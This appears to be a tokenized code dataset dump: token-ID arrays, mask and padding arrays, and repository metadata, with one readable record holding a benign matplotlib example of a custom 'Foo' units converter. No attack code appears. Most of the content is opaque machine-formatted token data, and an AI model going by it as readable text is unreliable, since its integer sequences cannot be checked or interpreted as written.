2789, 6928, 8251, 15, 16643, 6, 2775, 998, 29, 17, 6, 2063, 29, 1960, 5, 821, 297, 267, 283, 2118, 63, 9467, 356, 715, 12, 272, 14877, 339, 347, 485, 3093, 63, 5005, 8, 277, 12, 1166, 304, 267, 13210, 63, 344, 275, 291, 423, 1431, 63, 344, 8, 633, 9, 398, 9248, 275, 291, 423, 4249, 63, 12022, 8, 633, 12, 13210, 63, 344, 9, 398, 2845, 63, 17377, 63, 5353, 275, 283, 2765, 1564, 365, 440, 2808, 737, 2195, 2044, 26425, 7037, 370, 13988, 4248, 3530, 267, 340, 1543, 83, 1108, 80, 3524, 450, 2845, 63, 17377, 63, 5353, 315, 9248, 26, 288, 746, 19783, 8, 4609, 63, 17377, 63, 5353, 12, 1420, 29, 549, 9, 398, 730, 63, 275, 488, 267, 11052, 63, 344, 275, 488, 398, 13210, 275, 291, 423, 1122, 63, 1001, 8, 288, 291, 423, 1733, 63, 3821, 8, 355, 519, 7, 362, 27259, 6417, 29323, 59, 2561, 11198, 30446, 4300, 9248, 12, 283, 10411, 297, 355, 849, 534, 2440, 659, 13210, 63, 344, 9, 267, 340, 13210, 26, 288, 730, 63, 275, 13210, 14, 362, 360, 466, 358, 288, 11052, 63, 344, 275, 13210, 14, 362, 360, 344, 358, 398, 340, 440, 730, 10388, 288, 730, 63, 275, 291, 423, 1360, 63, 1733, 63, 3821, 8, 355, 519, 7, 362, 27259, 6417, 29323, 7023, 6641, 466, 5122, 28149, 9, 2266, 344, 582, 1674, 23778, 3212, 4988, 467, 297, 355, 9248, 12, 283, 466, 358, 267, 340, 440, 11052, 63, 344, 26, 288, 11052, 63, 344, 275, 291, 423, 1360, 63, 1733, 63, 3821, 8, 355, 519, 7, 362, 27259, 6417, 29323, 7023, 6641, 466, 582, 1674, 23778, 2266, 344, 5122, 28149, 2924, 60, 4988, 467, 297, 355, 9248, 12, 283, 9544, 63, 344, 358, 398, 666, 275, 469, 288, 283, 10411, 59, 16, 1527, 466, 61, 356, 730, 3131, 288, 283, 10411, 59, 16, 1527, 344, 61, 356, 11052, 63, 344, 12, 288, 283, 1069, 6417, 356 ]
[ 2803, 26, 2774, 13, 24, 199, 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 646, 295, 199, 199, 504, 1275, 2330, 492, 21298, 199, 504, 2508, 5819, 492, 334, 272, 8434, 63, 4078, 63, 1122, 63, 12240, 12, 272, 8434, 63, 4078, 63, 1122, 63, 10290, 12, 199, 9, 199, 504, 2508, 1208, 492, 334, 272, 19783, 12, 272, 2069, 63, 269, 63, 3592, 12, 272, 31734, 63, 2017, 12, 272, 22221, 4943, 12, 272, 16511, 63, 1932, 576, 12, 272, 13044, 63, 14565, 51, 12, 199, 9, 421, 199, 533, 445, 397, 7351, 24944, 433, 806, 4332, 8, 18283, 304, 272, 485, 5600, 63, 2632, 275, 519, 7, 2859, 24524, 1544, 20316, 823, 75, 323, 274, 433, 806, 4537, 16823, 15, 10241, 338, 1502, 73, 32576, 4735, 10197, 3, 6, 2807, 15, 3342, 2229, 48, 28, 344, 13489, 12645, 31, 29716, 272, 485, 7569, 275, 8910, 267, 283, 633, 356, 283, 1014, 921, 1544, 14, 823, 75, 323, 274, 433, 806, 14, 16823, 15, 10241, 338, 1502, 73, 15, 10241, 338, 1502, 73, 15, 709, 1602, 713, 2635, 25401, 13, 3577, 271, 13, 5149, 13, 559, 433, 19030, 7984, 15, 6886, 2953, 7320, 11782, 713, 1165, 297, 267, 283, 815, 63, 807, 356, 469, 288, 283, 344, 356, 283, 30270, 1194, 1887, 2006, 1138, 11440, 13571, 297, 288, 283, 832, 356, 283, 311, 20, 297, 288, 283, 1213, 356, 283, 21568, 271, 510, 1096, 445, 73, 433, 19030, 7984, 26, 221, 130, 122, 13685, 373, 598, 82, 11980, 561, 20661, 297, 288, 283, 1802, 356, 283, 1064, 21, 26, 19, 27848, 24, 70, 22, 2501, 19180, 1235, 21, 24035, 16, 67, 25, 69, 14681, 7555, 1272, 1479, 297, 288, 283, 8311, 356, 519, 3984, 23497, 2859, 32569, 8476, 297, 288, 283, 5553, 356, 650, 13595, 12, 267, 1660, 267, 283, 1162, 356, 469, 288, 327, 333, 19, 85, 24, 5235, 288, 283, 2759, 63, 4249, 356, 715, 12, 267, 1660, 272, 1660, 469, 267, 283, 633, 356, 283, 1014, 921, 1544, 14, 823, 75, 323, 274, 433, 806, 14, 16823, 15, 10241, 338, 1502, 73, 15, 709, 1602, 713, 2635, 25401, 13, 3577, 271, 13, 5149, 13, 559, 433, 19030, 7984, 15, 7842, 2953, 7320, 11782, 1717, 996, 15, 13520, 527, 15, 1165, 15233, 13, 13520, 527, 13, 614, 13, 287, 297, 267, 283, 815, 63, 807, 356, 469, 288, 283, 344, 356, 283, 30270, 1194, 1887, 2006, 1138, 15501, 13583, 297, 288, 283, 832, 356, 283, 311, 20, 297, 288, 283, 1213, 356, 283, 21568, 271, 510, 1096, 445, 73, 433, 19030, 7984, 26, 699, 265, 527, 17163, 446, 3447, 297, 288, 283, 1802, 356, 283, 19410, 4804, 6403, 1118, 83, 297, 288, 283, 8311, 356, 519, 3984, 23497, 2859, 32569, 8476, 297, 288, 283, 5553, 356, 19071, 14, 19, 12, 267, 1660, 267, 283, 1162, 356, 469, 288, 327, 333, 19, 85, 24, 5235, 288, 283, 2759, 63, 4249, 356, 715, 12, 267, 1660, 272, 1660, 469, 267, 327, 12166, 2547, 267, 283, 633, 356, 283, 1014, 921, 1544, 14, 823, 75, 323, 274, 433, 806, 14, 16823, 15, 10241, 338, 1502, 73, 15, 90, 1912, 15, 319, 20, 3678, 267, 283, 815, 63, 807, 356, 469, 288, 283, 344, 356, 841, 996, 12, 288, 283, 832, 356, 283, 311, 20, 297, 288, 283, 1213, 356, 519, 3984, 23497, 129, 235, 52, 428, 719, 971, 68, 91, 20, 93, 2696, 68, 91, 18, 93, 2696, 68, 91, 18, 93, 971, 68, 91, 18, 93, 3427, 68, 91, 18, 19204, 288, 283, 374, 63, 6442, 356, 715, 12, 267, 1660, 267, 283, 1162, 356, 469, 288, 327, 333, 19, 85, 24, 5235, 288, 283, 2759, 63, 4249, 356, 715, 12, 267, 1660, 267, 283, 2759, 356, 283, 4240, 720, 816, 1522, 370, 445, 806, 335, 799, 3455, 297, 272, 1660, 469, 267, 283, 633, 356, 283, 1014, 921, 1544, 14, 823, 75, 323, 274, 433, 806, 14, 16823, 15, 10241, 338, 1502, 73, 15, 6427, 15, 73, 3160, 10921, 14, 8624, 31, 2227, 29, 68, 22, 65, 19, 69, 969, 2760, 68, 18, 69, 20, 667, 2114, 11700, 66, 2710, 4087, 20, 1587, 67, 1167, 24721, 66, 15233, 69, 6, 998, 4220, 29, 9335, 959, 2789, 6928, 8251, 15, 16643, 6, 2775, 998, 29, 17, 6, 2063, 29, 1960, 5, 821, 297, 267, 283, 2118, 63, 9467, 356, 715, 12, 272, 14877, 339, 347, 485, 3093, 63, 5005, 8, 277, 12, 1166, 304, 267, 13210, 63, 344, 275, 291, 423, 1431, 63, 344, 8, 633, 9, 398, 9248, 275, 291, 423, 4249, 63, 12022, 8, 633, 12, 13210, 63, 344, 9, 398, 2845, 63, 17377, 63, 5353, 275, 283, 2765, 1564, 365, 440, 2808, 737, 2195, 2044, 26425, 7037, 370, 13988, 4248, 3530, 267, 340, 1543, 83, 1108, 80, 3524, 450, 2845, 63, 17377, 63, 5353, 315, 9248, 26, 288, 746, 19783, 8, 4609, 63, 17377, 63, 5353, 12, 1420, 29, 549, 9, 398, 730, 63, 275, 488, 267, 11052, 63, 344, 275, 488, 398, 13210, 275, 291, 423, 1122, 63, 1001, 8, 288, 291, 423, 1733, 63, 3821, 8, 355, 519, 7, 362, 27259, 6417, 29323, 59, 2561, 11198, 30446, 4300, 9248, 12, 283, 10411, 297, 355, 849, 534, 2440, 659, 13210, 63, 344, 9, 267, 340, 13210, 26, 288, 730, 63, 275, 13210, 14, 362, 360, 466, 358, 288, 11052, 63, 344, 275, 13210, 14, 362, 360, 344, 358, 398, 340, 440, 730, 10388, 288, 730, 63, 275, 291, 423, 1360, 63, 1733, 63, 3821, 8, 355, 519, 7, 362, 27259, 6417, 29323, 7023, 6641, 466, 5122, 28149, 9, 2266, 344, 582, 1674, 23778, 3212, 4988, 467, 297, 355, 9248, 12, 283, 466, 358, 267, 340, 440, 11052, 63, 344, 26, 288, 11052, 63, 344, 275, 291, 423, 1360, 63, 1733, 63, 3821, 8, 355, 519, 7, 362, 27259, 6417, 29323, 7023, 6641, 466, 582, 1674, 23778, 2266, 344, 5122, 28149, 2924, 60, 4988, 467, 297, 355, 9248, 12, 283, 9544, 63, 344, 358, 398, 666, 275, 469, 288, 283, 10411, 59, 16, 1527, 466, 61, 356, 730, 3131, 288, 283, 10411, 59, 16, 1527, 344, 61, 356, 11052, 63, 344, 12, 288, 283, 1069, 6417, 356, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
ryandougherty/mwa-capstone
MWA_Tools/build/matplotlib/doc/mpl_examples/units/evans_test.py
3
2335
""" A mockup "Foo" units class which supports conversion and different tick formatting depending on the "unit". Here the "unit" is just a scalar conversion factor, but this example shows mpl is entirely agnostic to what kind of units client packages use """ import matplotlib from matplotlib.cbook import iterable import matplotlib.units as units import matplotlib.ticker as ticker from pylab import figure, show class Foo: def __init__( self, val, unit=1.0 ): self.unit = unit self._val = val * unit def value( self, unit ): if unit is None: unit = self.unit return self._val / unit class FooConverter: @staticmethod def axisinfo(unit, axis): 'return the Foo AxisInfo' if unit==1.0 or unit==2.0: return units.AxisInfo( majloc = ticker.IndexLocator( 8, 0 ), majfmt = ticker.FormatStrFormatter("VAL: %s"), label='foo', ) else: return None @staticmethod def convert(obj, unit, axis): """ convert obj using unit. If obj is a sequence, return the converted sequence """ if units.ConversionInterface.is_numlike(obj): return obj if iterable(obj): return [o.value(unit) for o in obj] else: return obj.value(unit) @staticmethod def default_units(x, axis): 'return the default unit for x or None' if iterable(x): for thisx in x: return thisx.unit else: return x.unit units.registry[Foo] = FooConverter() # create some Foos x = [] for val in range( 0, 50, 2 ): x.append( Foo( val, 1.0 ) ) # and some arbitrary y data y = [i for i in range( len(x) ) ] # plot specifying units fig = figure() fig.suptitle("Custom units") fig.subplots_adjust(bottom=0.2) ax = fig.add_subplot(1,2,2) ax.plot( x, y, 'o', xunits=2.0 ) for label in ax.get_xticklabels(): label.set_rotation(30) label.set_ha('right') ax.set_title("xunits = 2.0") # plot without specifying units; will use the None branch for axisinfo ax = fig.add_subplot(1,2,1) ax.plot( x, y ) # uses default units ax.set_title('default units') for label in ax.get_xticklabels(): label.set_rotation(30) label.set_ha('right') show()
gpl-2.0
[ 624, 199, 33, 1683, 384, 298, 5686, 2, 6204, 1021, 1314, 5171, 199, 15083, 436, 3365, 11748, 10803, 10298, 641, 314, 298, 3248, 1674, 199, 21741, 314, 298, 3248, 2, 365, 2951, 282, 6917, 8603, 6535, 12, 1325, 642, 2893, 13703, 22513, 365, 199, 287, 7261, 590, 282, 784, 941, 530, 370, 4052, 4928, 402, 6204, 1890, 6117, 675, 199, 624, 199, 199, 646, 8027, 199, 199, 504, 8027, 14, 67, 2706, 492, 6076, 199, 646, 8027, 14, 5260, 465, 6204, 199, 646, 8027, 14, 28572, 465, 32721, 199, 504, 19199, 492, 9658, 12, 2498, 199, 199, 533, 8024, 26, 272, 347, 636, 826, 721, 291, 12, 1139, 12, 4137, 29, 17, 14, 16, 3461, 267, 291, 14, 3248, 275, 4137, 267, 291, 423, 637, 275, 1139, 627, 4137, 339, 347, 574, 8, 291, 12, 4137, 3461, 267, 340, 4137, 365, 488, 26, 4137, 275, 291, 14, 3248, 267, 372, 291, 423, 637, 1182, 4137, 199, 199, 533, 8024, 11907, 26, 339, 768, 4639, 272, 347, 3114, 815, 8, 3248, 12, 3114, 304, 267, 283, 1107, 314, 8024, 23205, 2354, 7, 267, 340, 4137, 389, 17, 14, 16, 503, 4137, 389, 18, 14, 16, 26, 288, 372, 6204, 14, 11220, 2354, 8, 355, 610, 74, 2102, 275, 32721, 14, 2681, 10725, 8, 1695, 12, 378, 2318, 355, 610, 74, 5045, 275, 32721, 14, 3484, 2848, 7772, 480, 3204, 26, 450, 83, 1288, 355, 1768, 534, 1421, 297, 355, 776, 398, 587, 26, 288, 372, 488, 339, 768, 4639, 272, 347, 3957, 8, 1113, 12, 4137, 12, 3114, 304, 267, 408, 267, 3957, 1559, 1808, 4137, 14, 221, 982, 1559, 365, 282, 3414, 12, 372, 314, 267, 6702, 3414, 267, 408, 267, 340, 6204, 14, 20403, 4267, 14, 374, 63, 1507, 2930, 8, 1113, 304, 288, 372, 1559, 398, 340, 6076, 8, 1113, 304, 288, 372, 359, 79, 14, 585, 8, 3248, 9, 367, 312, 315, 1559, 61, 267, 587, 26, 288, 372, 1559, 14, 585, 8, 3248, 9, 339, 768, 4639, 272, 347, 849, 63, 5260, 8, 88, 12, 3114, 304, 267, 283, 1107, 314, 849, 4137, 367, 671, 503, 488, 7, 267, 340, 6076, 8, 88, 304, 288, 367, 642, 88, 315, 671, 26, 355, 372, 642, 88, 14, 3248, 267, 587, 26, 288, 372, 671, 14, 3248, 199, 199, 5260, 14, 5189, 59, 5686, 61, 275, 8024, 11907, 342, 199, 199, 3, 1218, 2005, 481, 79, 736, 199, 88, 275, 942, 199, 509, 1139, 315, 1425, 8, 378, 12, 5238, 12, 499, 3461, 272, 671, 14, 740, 8, 8024, 8, 1139, 12, 413, 14, 16, 776, 776, 199, 199, 3, 436, 2005, 9697, 612, 666, 199, 89, 275, 359, 73, 367, 284, 315, 1425, 8, 822, 8, 88, 9, 776, 1622, 421, 199, 3, 5137, 9176, 6204, 199, 592, 275, 9658, 342, 199, 592, 14, 1961, 1213, 480, 7223, 6204, 531, 199, 592, 14, 21430, 63, 10917, 8, 8305, 29, 16, 14, 18, 9, 199, 1219, 275, 6085, 14, 525, 63, 13334, 8, 17, 12, 18, 12, 18, 9, 199, 1219, 14, 2798, 8, 671, 12, 612, 12, 283, 79, 297, 671, 5260, 29, 18, 14, 16, 776, 199, 509, 1768, 315, 2185, 14, 362, 63, 88, 27435, 837, 272, 1768, 14, 409, 63, 15362, 8, 1216, 9, 272, 1768, 14, 409, 63, 2411, 360, 1019, 358, 199, 1219, 14, 409, 63, 1213, 480, 88, 5260, 275, 499, 14, 16, 531, 421, 199, 3, 5137, 1928, 9176, 6204, 27, 911, 675, 314, 488, 5246, 367, 3114, 815, 199, 1219, 275, 6085, 14, 525, 63, 13334, 8, 17, 12, 18, 12, 17, 9, 199, 1219, 14, 2798, 8, 671, 12, 612, 776, 327, 4440, 849, 6204, 199, 1219, 14, 409, 63, 1213, 360, 885, 6204, 358, 199, 509, 1768, 315, 2185, 14, 362, 63, 88, 27435, 837, 272, 1768, 14, 409, 63, 15362, 8, 1216, 9, 272, 1768, 14, 409, 63, 2411, 360, 1019, 358, 199, 199, 2384, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 199, 33, 1683, 384, 298, 5686, 2, 6204, 1021, 1314, 5171, 199, 15083, 436, 3365, 11748, 10803, 10298, 641, 314, 298, 3248, 1674, 199, 21741, 314, 298, 3248, 2, 365, 2951, 282, 6917, 8603, 6535, 12, 1325, 642, 2893, 13703, 22513, 365, 199, 287, 7261, 590, 282, 784, 941, 530, 370, 4052, 4928, 402, 6204, 1890, 6117, 675, 199, 624, 199, 199, 646, 8027, 199, 199, 504, 8027, 14, 67, 2706, 492, 6076, 199, 646, 8027, 14, 5260, 465, 6204, 199, 646, 8027, 14, 28572, 465, 32721, 199, 504, 19199, 492, 9658, 12, 2498, 199, 199, 533, 8024, 26, 272, 347, 636, 826, 721, 291, 12, 1139, 12, 4137, 29, 17, 14, 16, 3461, 267, 291, 14, 3248, 275, 4137, 267, 291, 423, 637, 275, 1139, 627, 4137, 339, 347, 574, 8, 291, 12, 4137, 3461, 267, 340, 4137, 365, 488, 26, 4137, 275, 291, 14, 3248, 267, 372, 291, 423, 637, 1182, 4137, 199, 199, 533, 8024, 11907, 26, 339, 768, 4639, 272, 347, 3114, 815, 8, 3248, 12, 3114, 304, 267, 283, 1107, 314, 8024, 23205, 2354, 7, 267, 340, 4137, 389, 17, 14, 16, 503, 4137, 389, 18, 14, 16, 26, 288, 372, 6204, 14, 11220, 2354, 8, 355, 610, 74, 2102, 275, 32721, 14, 2681, 10725, 8, 1695, 12, 378, 2318, 355, 610, 74, 5045, 275, 32721, 14, 3484, 2848, 7772, 480, 3204, 26, 450, 83, 1288, 355, 1768, 534, 1421, 297, 355, 776, 398, 587, 26, 288, 372, 488, 339, 768, 4639, 272, 347, 3957, 8, 1113, 12, 4137, 12, 3114, 304, 267, 408, 267, 3957, 1559, 1808, 4137, 14, 221, 982, 1559, 365, 282, 3414, 12, 372, 314, 267, 6702, 3414, 267, 408, 267, 340, 6204, 14, 20403, 4267, 14, 374, 63, 1507, 2930, 8, 1113, 304, 288, 372, 1559, 398, 340, 6076, 8, 1113, 304, 288, 372, 359, 79, 14, 585, 8, 3248, 9, 367, 312, 315, 1559, 61, 267, 587, 26, 288, 372, 1559, 14, 585, 8, 3248, 9, 339, 768, 4639, 272, 347, 849, 63, 5260, 8, 88, 12, 3114, 304, 267, 283, 1107, 314, 849, 4137, 367, 671, 503, 488, 7, 267, 340, 6076, 8, 88, 304, 288, 367, 642, 88, 315, 671, 26, 355, 372, 642, 88, 14, 3248, 267, 587, 26, 288, 372, 671, 14, 3248, 199, 199, 5260, 14, 5189, 59, 5686, 61, 275, 8024, 11907, 342, 199, 199, 3, 1218, 2005, 481, 79, 736, 199, 88, 275, 942, 199, 509, 1139, 315, 1425, 8, 378, 12, 5238, 12, 499, 3461, 272, 671, 14, 740, 8, 8024, 8, 1139, 12, 413, 14, 16, 776, 776, 199, 199, 3, 436, 2005, 9697, 612, 666, 199, 89, 275, 359, 73, 367, 284, 315, 1425, 8, 822, 8, 88, 9, 776, 1622, 421, 199, 3, 5137, 9176, 6204, 199, 592, 275, 9658, 342, 199, 592, 14, 1961, 1213, 480, 7223, 6204, 531, 199, 592, 14, 21430, 63, 10917, 8, 8305, 29, 16, 14, 18, 9, 199, 1219, 275, 6085, 14, 525, 63, 13334, 8, 17, 12, 18, 12, 18, 9, 199, 1219, 14, 2798, 8, 671, 12, 612, 12, 283, 79, 297, 671, 5260, 29, 18, 14, 16, 776, 199, 509, 1768, 315, 2185, 14, 362, 63, 88, 27435, 837, 272, 1768, 14, 409, 63, 15362, 8, 1216, 9, 272, 1768, 14, 409, 63, 2411, 360, 1019, 358, 199, 1219, 14, 409, 63, 1213, 480, 88, 5260, 275, 499, 14, 16, 531, 421, 199, 3, 5137, 1928, 9176, 6204, 27, 911, 675, 314, 488, 5246, 367, 3114, 815, 199, 1219, 275, 6085, 14, 525, 63, 13334, 8, 17, 12, 18, 12, 17, 9, 199, 1219, 14, 2798, 8, 671, 12, 612, 776, 327, 4440, 849, 6204, 199, 1219, 14, 409, 63, 1213, 360, 885, 6204, 358, 199, 509, 1768, 315, 2185, 14, 362, 63, 88, 27435, 837, 272, 1768, 14, 409, 63, 15362, 8, 1216, 9, 272, 1768, 14, 409, 63, 2411, 360, 1019, 358, 199, 199, 2384, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
danieljaouen/ansible
lib/ansible/modules/remote_management/manageiq/manageiq_tags.py
64
9225
